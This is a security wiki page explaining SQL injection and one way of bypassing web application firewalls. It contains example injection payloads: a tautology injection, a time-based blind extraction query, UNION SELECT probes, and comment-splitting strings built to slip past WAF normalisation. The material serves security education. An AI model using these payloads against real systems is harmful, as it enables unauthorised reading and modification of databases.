Difference between revisions of "SQL Injection Bypassing WAF"

Revision as of 17:50, 10 March 2016

This is an Attack. To view all attacks, please see the Attack Category page.

SQLi

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL Injection – Basic Concepts

There are two types of SQL Injection

• SQL Injection into a String/Char parameter
Example: SELECT * from table where example = 'Example'

• SQL Injection into a Numeric parameter
Example: SELECT * from table where id = 123

1. Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions.

• A vulnerable request can get into Insert, Update, Delete, etc.
Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'

1. Blind SQL Injection

Example: 
select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))

1. Exploitation features for various DBMSs

Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3

Bypassing WAF: SQL Injection - Normalization Method

Example Number (1) of a vulnerability in the function of request normalization
• The following request doesn’t allow anyone to conduct an attack

 /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request

 will be successfully performed
 /?id=1/*union*/union/*select*/select+1,2,3/*

• After being processed by WAF, the request will become

 index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source.